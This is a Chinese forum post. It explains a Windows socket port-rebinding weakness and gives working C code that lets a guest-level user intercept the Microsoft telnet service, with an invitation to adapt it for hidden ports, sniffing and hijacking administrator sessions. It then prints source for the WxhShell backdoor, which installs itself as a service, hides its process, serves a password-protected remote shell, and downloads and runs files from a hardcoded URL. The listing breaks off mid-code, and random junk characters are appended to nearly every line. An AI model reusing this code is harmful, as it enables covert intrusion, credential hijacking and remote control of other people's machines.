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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7w_`<b6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GptJQ=pV  
1j# ~:=I  
  saddr.sin_family = AF_INET; QQ!%lbMK]  
>5#`j+8=q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [Oe$E5qv)]  
++F #Z(p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FAJ\9  
[#$-kd~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 OqtQLqN  
1`r 4  
  这意味着什么?意味着可以进行如下的攻击: >,Zjlkh3  
7gfNe kr~W  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D)8&v` L S  
1Z6<W~,1OM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ez&v"J  
rXuhd [!(P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 rV)mcfw:Z  
f ySzZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *oL?R2#7  
{3lsDU4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9e^[5D=L  
IUAx*R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 thDQ44<#)  
nZ>qM]">u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;U<;R  
tm@&f  
  #include c^><^LGb  
  #include W~aVwO'(  
  #include O&V}T#8n  
  #include    /jaTH_Q),:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CO%7^}xSE,  
  int main() b4ZZyw  
  { H)}>&Z4  
  WORD wVersionRequested;  #8MA+  
  DWORD ret; __teh>MC  
  WSADATA wsaData; *9y)B|P^  
  BOOL val; Urj8v2k  
  SOCKADDR_IN saddr; D)U 9xA)J  
  SOCKADDR_IN scaddr; Q&@Ls?pu  
  int err; e) 42SL^s  
  SOCKET s; ^.p({6H  
  SOCKET sc; Zy|B~.@<j  
  int caddsize; D+P(  
  HANDLE mt; N9tH0  
  DWORD tid;   x2=Bu#Y  
  wVersionRequested = MAKEWORD( 2, 2 ); x^Q:U1  
  err = WSAStartup( wVersionRequested, &wsaData ); P}29wrIZ  
  if ( err != 0 ) { 8om6wALXB  
  printf("error!WSAStartup failed!\n"); 7n9&@D3 :P  
  return -1; ,dhJ\cQ~  
  } L15?\|':Y  
  saddr.sin_family = AF_INET; nICc}U?k  
   B>rz<bPT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r@ujE,D=k  
njtz,qt_;G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "XlNKBgM  
  saddr.sin_port = htons(23); 6=U81  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DDQ}&`s  
  { JFH3)Q  
  printf("error!socket failed!\n"); |tIr?nXSW3  
  return -1; ~U(`XvR\4  
  } !TvNT}4Z  
  val = TRUE; S[J eW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3u#bx1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U$v|c%6  
  { `-W.uOZ0  
  printf("error!setsockopt failed!\n"); SK [1h3d  
  return -1; `)%zk W  
  } r+n0M';0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <*EMcZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?!^ow5"8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n75)%-  
k>E^FB=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fb-Lp#!T39  
  { q;Tdqv!Ju  
  ret=GetLastError(); WD# 96V  
  printf("error!bind failed!\n"); +Ac.@!X}%  
  return -1; ~k\Dde  
  } }A jE- K{  
  listen(s,2); k-IL%+U  
  while(1) p[R4!if2  
  { Q,R>dkS  
  caddsize = sizeof(scaddr); (VD Y]Q)  
  //接受连接请求 SW5V:|/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uonCD8  
  if(sc!=INVALID_SOCKET) #(swVo:+E  
  { ]8q#@%v }  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0t*e#,y  
  if(mt==NULL) Lh%z2 5t  
  { H3-(.l[!b)  
  printf("Thread Creat Failed!\n"); ^Ej$o@PH  
  break; jq%%|J.x  
  } '&hz *yk  
  } Ak3cE_*Y/  
  CloseHandle(mt); j5m KJC  
  } !q\MXS($#u  
  closesocket(s); "Vh3hnS~  
  WSACleanup(); p3r("\Za,  
  return 0; GsIVx!  
  }   6_|iXs(&  
  DWORD WINAPI ClientThread(LPVOID lpParam) z^lcc7  
  { m%zo? e  
  SOCKET ss = (SOCKET)lpParam; 3LGX ^J<f  
  SOCKET sc;  _U.|$pU  
  unsigned char buf[4096]; i(T[  
  SOCKADDR_IN saddr; `-t8ag 3  
  long num; !LI6_Oq  
  DWORD val; JfD-CoQS'  
  DWORD ret; fg$#ZCi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fi%)520  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &1 /OwTI4J  
  saddr.sin_family = AF_INET; WC0z'N({W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kb X&E0  
  saddr.sin_port = htons(23); M~%P1@%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m`i_O0T  
  { 88Nx/:#Y*  
  printf("error!socket failed!\n"); @)#EZQix  
  return -1; 5aj%<r  
  } I3gl+)Q  
  val = 100; hL4T7`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e"oTlB  
  { ]K?;XA3dZ  
  ret = GetLastError(); c wNJ{S+  
  return -1; '9{`Czc(Gb  
  } R2Es~T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -pmb-#`M  
  { Gj_7wP$  
  ret = GetLastError(); ^H"o=K8=  
  return -1; &F- \t5X=i  
  } QPX&P{!g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y1{TVpN  
  { = 6Fpixq>  
  printf("error!socket connect failed!\n"); )ifjK6*  
  closesocket(sc); :FTx#cZ  
  closesocket(ss); XHU\;TF  
  return -1; QC,fyw\  
  } (}g4}A@x  
  while(1) GY>G}bfh  
  { O&dBLh!G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f=k_U[b4>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0$A^ .M;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Hf /ZaBn  
  num = recv(ss,buf,4096,0); gY'-C  
  if(num>0) u6nO\.TTtY  
  send(sc,buf,num,0); 3 daI_Nx>  
  else if(num==0) acrR  
  break; AH{#RD  
  num = recv(sc,buf,4096,0); Um}f7^fp^l  
  if(num>0) eFh7#~m  
  send(ss,buf,num,0); 3Ccy %;  
  else if(num==0) InI>So%e|<  
  break; 1 |  
  } Brts ig,4  
  closesocket(ss); WNY:HH  
  closesocket(sc); NnH]c+  
  return 0 ; "1YwV~M5  
  } >?Duz+W)  
VV;%q3}:  
_ amP:h  
========================================================== beaSvhPU  
=t^jlb  
下边附上一个代码,,WXhSHELL %pIP#y[4  
{E; bT|3z  
========================================================== .TMLg(2hgv  
}* \*<d 3  
#include "stdafx.h" KomMzG:  
MaPOmS8?  
#include <stdio.h> C}#$wge  
#include <string.h> @ ]40xKF  
#include <windows.h> ;j.-6#n  
#include <winsock2.h> F\, vIS  
#include <winsvc.h> cYp/? \  
#include <urlmon.h> zauDwV=  
6P3h955c  
#pragma comment (lib, "Ws2_32.lib") fy]c=:EmD  
#pragma comment (lib, "urlmon.lib") UX+vU@Co[  
ollsB3]]  
#define MAX_USER   100 // 最大客户端连接数 `Of D^Q=  
#define BUF_SOCK   200 // sock buffer SJ91(K  
#define KEY_BUFF   255 // 输入 buffer "OwK-  
]5K+W  
#define REBOOT     0   // 重启 [^Bjmw[7  
#define SHUTDOWN   1   // 关机 ?&'Kw>s@  
Q 0G5<:wc  
#define DEF_PORT   5000 // 监听端口 gu6%$z  
]#Cc7wa  
#define REG_LEN     16   // 注册表键长度 9: .m]QN  
#define SVC_LEN     80   // NT服务名长度 35Fxzj $  
42~.N =2  
// 从dll定义API )X;051Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); j+fib} 8}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `Xz!apA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G^N@ r:RS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Q/{lqG  
|h }4J  
// wxhshell配置信息 \-pqqSy  
struct WSCFG { 3dSb!q0&N  
  int ws_port;         // 监听端口 dQ:F5|p  
  char ws_passstr[REG_LEN]; // 口令 P1AC2<H  
  int ws_autoins;       // 安装标记, 1=yes 0=no XUzOt_L5<  
  char ws_regname[REG_LEN]; // 注册表键名 Vpne-PW  
  char ws_svcname[REG_LEN]; // 服务名 Jz=|-F(Sy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~4pP( JP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pHuR_U5*?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^B0Qk:%P^N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t7l{^d_L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5F+G8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T60pw  
jz`3xFy *]  
}; y=c={Qz@vn  
gyMHC{l/B  
// default Wxhshell configuration d!w3LwZ  
struct WSCFG wscfg={DEF_PORT, u7^(?"x  
    "xuhuanlingzhe", ;W+8X-B  
    1,  63 'X#S  
    "Wxhshell", MT"&|Og  
    "Wxhshell", 5[g\.yi2_]  
            "WxhShell Service", ' Ut4=@)  
    "Wrsky Windows CmdShell Service", ) [?xT  
    "Please Input Your Password: ", #D/*<:q5  
  1, R)BXN~dQ  
  "http://www.wrsky.com/wxhshell.exe", e@qH!.g)  
  "Wxhshell.exe" -$?t+ "/E  
    }; `vMhrn  
y+T[="W  
// 消息定义模块 9@ YKx0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zBlv?JwG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cdib{y<ji  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (M"rpG>L  
char *msg_ws_ext="\n\rExit."; $&&E[JY  
char *msg_ws_end="\n\rQuit."; 2mn AL#  
char *msg_ws_boot="\n\rReboot..."; ^P^%Q)QXl  
char *msg_ws_poff="\n\rShutdown..."; Gc"hU:m  
char *msg_ws_down="\n\rSave to "; E(j# R"  
P woiX#vz  
char *msg_ws_err="\n\rErr!"; t))MZw&@  
char *msg_ws_ok="\n\rOK!"; ;:j1FOj  
HO['o{>BL  
char ExeFile[MAX_PATH]; hrtz>qN  
int nUser = 0; ! ig& 8:  
HANDLE handles[MAX_USER]; OtoM  
int OsIsNt; hiBsksZRnk  
4MS#`E7LrC  
SERVICE_STATUS       serviceStatus; s :7/\h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jn^b}bk t  
Hc =QSP  
// 函数声明 ghWWJx9  
int Install(void); t+}w Tis  
int Uninstall(void); Bp_R"DS7A  
int DownloadFile(char *sURL, SOCKET wsh); 7]xDMu'^&f  
int Boot(int flag); i?Pnyi  
void HideProc(void); ^l|b>z"0ao  
int GetOsVer(void); B Z|A&;  
int Wxhshell(SOCKET wsl); ^L5-2;s<U'  
void TalkWithClient(void *cs); 3q}j"x?  
int CmdShell(SOCKET sock); -z~!%4 a  
int StartFromService(void); cd1G.10  
int StartWxhshell(LPSTR lpCmdLine); R8k4?_W?T  
R__:~ uv,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u30D`sky  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K\rQb  
V-}}?c1 F  
// 数据结构和表定义 m<hP"j  
SERVICE_TABLE_ENTRY DispatchTable[] = KF00=HE|]  
{ .a]#AFX  
{wscfg.ws_svcname, NTServiceMain}, -1,0hmn=+  
{NULL, NULL} +ZM,E8  
}; I7oA7@zv  
s@ r{TXEn  
// 自我安装 #M16qOEw  
int Install(void) s{Y4wvQyB  
{ '1:)q  
  char svExeFile[MAX_PATH]; WN+i3hC  
  HKEY key; 8Rwk o6x  
  strcpy(svExeFile,ExeFile); d(o=)!p  
A}SGw.3  
// 如果是win9x系统,修改注册表设为自启动 0o=HOCL\  
if(!OsIsNt) { ve ysW(z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \jtA8o%n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0SQr%:zG  
  RegCloseKey(key); Fs(PVN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y@0'0   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SOhM6/ID2/  
  RegCloseKey(key); QM F   
  return 0; nf0u:M"fm  
    } IibrZ/n6  
  } Q2VF+g,  
} o=3hWbe  
else { \~l_w ,Poo  
Sp80xV_B  
// 如果是NT以上系统,安装为系统服务 Zk%@GOu\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  /ooGyF  
if (schSCManager!=0) 3T)rJEN A  
{ H\R a*EO~j  
  SC_HANDLE schService = CreateService =Z  
  ( n"Ie>  
  schSCManager, l~rj7f;  
  wscfg.ws_svcname, 985F(r  
  wscfg.ws_svcdisp, HE,L8S  
  SERVICE_ALL_ACCESS, K:a8}w>Up  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I "AjYv4R  
  SERVICE_AUTO_START, ^m w]u"5\  
  SERVICE_ERROR_NORMAL, Hw]E#S  
  svExeFile, tp] 5[U  
  NULL, V:kRr cX  
  NULL, Dcvul4Q  
  NULL, tk%f_"}  
  NULL, X ."z+-eh  
  NULL m}uOBR+  
  ); bV8+E u  
  if (schService!=0) B`B =bn+4  
  { \v Ajg  
  CloseServiceHandle(schService); eBrNhE-[G]  
  CloseServiceHandle(schSCManager); (`.OS)&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XP@dg4Z=z  
  strcat(svExeFile,wscfg.ws_svcname); bQt:=>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R+M=)Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 32[}@f2q  
  RegCloseKey(key); KdR4<qVV}  
  return 0; NUFz'MPv  
    } 5l6/5  
  } qNQ54#  
  CloseServiceHandle(schSCManager); ST*h{:u&A  
} );gY8UL^  
} Y<xqws  
S/'0czDMW  
return 1; bmv8nal<Y  
} !%G]~  
1MLL  
// 自我卸载 D~6[C:m  
int Uninstall(void) JN0h3nZ_  
{ + Q-b}  
  HKEY key; ~=|}!A(  
N)X Tmh2v|  
if(!OsIsNt) { 86r"hy~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hC<ROD  
  RegDeleteValue(key,wscfg.ws_regname); !DZ=`a?y  
  RegCloseKey(key); ,MCTb'=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +`HMl;0m  
  RegDeleteValue(key,wscfg.ws_regname); #d-({blo<  
  RegCloseKey(key); 1>J.kQR^  
  return 0; H#TkIFo]  
  } P}@AH02  
} ~Ru\Z-q1  
} f^$,;  
else { Hf`i~6  
c{=Sy;i@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $o[-xNn1  
if (schSCManager!=0) Bu{Kjv  
{ }>xwiSF?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W{}$c`,R  
  if (schService!=0) P1eSx#3bR  
  { 9F/I",EA  
  if(DeleteService(schService)!=0) { Cr5ND\  
  CloseServiceHandle(schService); 4[gmA  
  CloseServiceHandle(schSCManager); +0pI}a\  
  return 0; BsQ;`2  
  } 3oCI1>k  
  CloseServiceHandle(schService); o1.~g'!^  
  } 4D?h}U /  
  CloseServiceHandle(schSCManager); g3tE.!a5-  
} o<Zlm)"%1  
} | &X<-  
3V k8'  
return 1; U]3!"+Y1P  
} hd)Jq'MCS  
54_}9_g  
// 从指定url下载文件 }'oU/@yG  
int DownloadFile(char *sURL, SOCKET wsh) X1^VdJE  
{ TA[%eMvA  
  HRESULT hr; cJ4My#w  
char seps[]= "/"; cJo%j -AM  
char *token; \O|SPhaIf  
char *file; Rt8[P6e"q  
char myURL[MAX_PATH]; B.8B1MFm  
char myFILE[MAX_PATH]; 6 4_}"fU  
V?{d<Ng~J  
strcpy(myURL,sURL); rqamBm 5  
  token=strtok(myURL,seps); Q0xO;20  
  while(token!=NULL) ]Ur/DRNS  
  { [b++bCH3  
    file=token; f;e#7_  
  token=strtok(NULL,seps); mfr aw2H  
  } ea 3w  
:U?g']`Z##  
GetCurrentDirectory(MAX_PATH,myFILE); ReaZg ?:h  
strcat(myFILE, "\\"); z=D5*  
strcat(myFILE, file); 6FB 0g8  
  send(wsh,myFILE,strlen(myFILE),0); KdEvu?  
send(wsh,"...",3,0); o*KAS@&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !M~:#k  
  if(hr==S_OK) a~_ 9BM41T  
return 0; HMq}){=S  
else [DaAvN^0A  
return 1; Q0J1"*P0  
kF|$oBQ  
} m%|\AZBA#  
z9o]);dZ  
// 系统电源模块 >dAl*T  
int Boot(int flag) IK -vcG  
{ S@qPf0dL<  
  HANDLE hToken; K"!rj.Da  
  TOKEN_PRIVILEGES tkp; DG TLlBkT  
zIc6L3w$  
  if(OsIsNt) { DsdM:u*s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fQoAdw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \RDN_Z  
    tkp.PrivilegeCount = 1; C @Ts\);^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3qWrSziD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }i+C)VUX   
if(flag==REBOOT) { {Ydhplg{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5Q10Ohh  
  return 0; 6qZQ20h  
} ]j&m\'-s  
else { ioi/`iQR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wkt4vE87  
  return 0; qCI&H7u@  
} PF4[;E S'  
  } UynGG@P@  
  else { A;U c&G  
if(flag==REBOOT) { cj>@Jx}]M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sUF$eVAT  
  return 0; h[(YH ;Y  
} ^A ]4  
else { Ijh RSrCv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O@$>'Z  
  return 0; 2-F7tcya|  
} xU\!UVQ/  
} /E6)>y66  
A+/Lt>+AS  
return 1; Q4mtfpiDx  
} "5JMk -2k  
%`~4rf"7  
// win9x进程隐藏模块 #A>*pF  
void HideProc(void) oIrc))j,$  
{ ckX8eg!f  
L91(|gQP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,88B@a  
  if ( hKernel != NULL ) dz#"9i5b  
  { oCo~,~kTR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .\ bJ,of9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dO D(<  
    FreeLibrary(hKernel); lr&2,p<  
  } AG >D,6Y  
tN{0C/B9  
return; X0*+]tRg  
} ca=MUm=B  
hTBJ\1 -  
// 获取操作系统版本 ]Jz=. F sO  
int GetOsVer(void) ` k] TOc  
{ &tOo[U?  
  OSVERSIONINFO winfo; yK{P%oh)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RlfI]uCDM  
  GetVersionEx(&winfo); {r&r^!K;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &wNr2PHd#  
  return 1; <@7j37,R7V  
  else za6 hyd^  
  return 0; R655@|RT  
} R/{h4/+vJ  
.3EEi3z6z  
// 客户端句柄模块 3g7]$}  
int Wxhshell(SOCKET wsl) (F'~K,0  
{ 2`i &6iz  
  SOCKET wsh; [CHN3&l-5S  
  struct sockaddr_in client; #mH28UT  
  DWORD myID; ]FR#ZvM>x  
.UxkTads  
  while(nUser<MAX_USER)  !5 S#  
{ DvWBvs,  
  int nSize=sizeof(client); _~Lu%   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |TJ gH<I  
  if(wsh==INVALID_SOCKET) return 1; %YxKWZ/?  
u9_? c G-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k1[`2k:Hk  
if(handles[nUser]==0) e ,XT(KY  
  closesocket(wsh); Q*1Avy6]  
else li3X}  
  nUser++; (fc_V[(m"  
  } UHJro9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZV Ko$q:F  
ycN!N  
  return 0; PR;Bxy  
} ''2:ZXX  
6@Q; LV+  
// 关闭 socket .WglLUJ:Z  
void CloseIt(SOCKET wsh) L <  
{ s#~VN;-I  
closesocket(wsh); `~axOp9N  
nUser--; @>`N%wH'  
ExitThread(0); , -])[u  
} OfLj 4H 6Q  
6T"5,Q</h  
// 客户端请求句柄 FkaQVT  
void TalkWithClient(void *cs) )m-(-I  
{ Z){fie4WM  
iLdUus!  
  SOCKET wsh=(SOCKET)cs; g9GPy U  
  char pwd[SVC_LEN]; =j_4!^  
  char cmd[KEY_BUFF]; !rx5i  
char chr[1]; p+I`xyk  
int i,j; :t;\`gQoS  
6/a%%1c1  
  while (nUser < MAX_USER) {  w&U28"i>  
:hHKm|1FE  
if(wscfg.ws_passstr) { kH06Cb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Na\&}GSf^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jcePSps]  
  //ZeroMemory(pwd,KEY_BUFF); Jcvp<  
      i=0; $hM9{  
  while(i<SVC_LEN) { jp-(n z\  
9aID&b +  
  // 设置超时 z#5qI',L  
  fd_set FdRead; rl"yE=  
  struct timeval TimeOut; x!4<ff.  
  FD_ZERO(&FdRead); 2Z(?pJyDM  
  FD_SET(wsh,&FdRead); $SLyI$<gP  
  TimeOut.tv_sec=8; E]Cm#B  
  TimeOut.tv_usec=0; m=`V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \KEmfCx'n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2%l(qf N9  
p,4S?c r>a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j"0TAYmXwu  
  pwd=chr[0]; TIV|7nKL  
  if(chr[0]==0xd || chr[0]==0xa) { N,)rrBD  
  pwd=0; F0xm% ?  
  break; ZU:c[`  
  } V" 5rIk  
  i++; 2$Z4 >!  
    } ZB}zT9JaE  
(Q"s;g  
  // 如果是非法用户,关闭 socket .>5E 4^$%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?AQR\)P  
} i piS=  
i .?l\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CwF=@:*d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o>M&C X+j$  
`yXHb  
while(1) { $nthMx$  
mqQ//$Y   
  ZeroMemory(cmd,KEY_BUFF); <XpG5vV  
AQ-R^kT  
      // 自动支持客户端 telnet标准   O sIvW'$\  
  j=0; !O,`Z`T?  
  while(j<KEY_BUFF) { )q+;+J`>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E-rGOm" m  
  cmd[j]=chr[0]; =HoA2,R)  
  if(chr[0]==0xa || chr[0]==0xd) { b<g9L4s  
  cmd[j]=0; h>NuQo*  
  break; *fDhNmQ `  
  } L{1PCs36c  
  j++; .|6Wmn-uS  
    } gdBH\K(\  
a '<B0'  
  // 下载文件 Cp-p7g0wlg  
  if(strstr(cmd,"http://")) { p-8x>dmP(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i;<H^\%  
  if(DownloadFile(cmd,wsh)) cZ/VMQEr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;#2yF34gv  
  else ma2-66M~j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _nW#Cl~  
  } k5Df9 7\s  
  else { b;e*`f8T3c  
al Q:'K  
    switch(cmd[0]) { (d5kD#.N  
  7OZjLD{ID  
  // 帮助 Y&b JKX  
  case '?': { a/ Z\h{*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i\P)P!  
    break; rcMSso2  
  } f,Dj@?3+  
  // 安装 _$qH\>se  
  case 'i': { LT '2446  
    if(Install()) ?F%,d{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l:VcV  
    else g"v-hTx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G C3G=DTt  
    break; k'{Bhi4  
    } 6SD9lgF*-  
  // 卸载 &Sp2['a!  
  case 'r': { }W* q  
    if(Uninstall()) lZ}H?n%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}p{$g!  
    else }Ias7d?re  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-:te9p6>4  
    break; 5F|oNI}$:  
    } 6M_,4> -  
  // 显示 wxhshell 所在路径 k| ,F/:  
  case 'p': { ER$qL"H U  
    char svExeFile[MAX_PATH]; +dSO?Y]  
    strcpy(svExeFile,"\n\r"); Xkb\fR6<K  
      strcat(svExeFile,ExeFile); -Fs<{^E3j  
        send(wsh,svExeFile,strlen(svExeFile),0); 9r hl2E  
    break; ZC:7N{a  
    } h}jE=T5Hc  
  // 重启 kC-OZVoO  
  case 'b': { >a2i%j/T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sy`7})[  
    if(Boot(REBOOT)) 5"9!kZ(<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjW\tuZI  
    else { /jv4# 9  
    closesocket(wsh); t5WW3$Nf  
    ExitThread(0); -|A`+1-R+  
    } S6Fn(%T+9  
    break; q'[q]  
    } vTU*6)  
  // 关机 ?T <2Cl'C  
  case 'd': { hE>%LcP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); le J\  
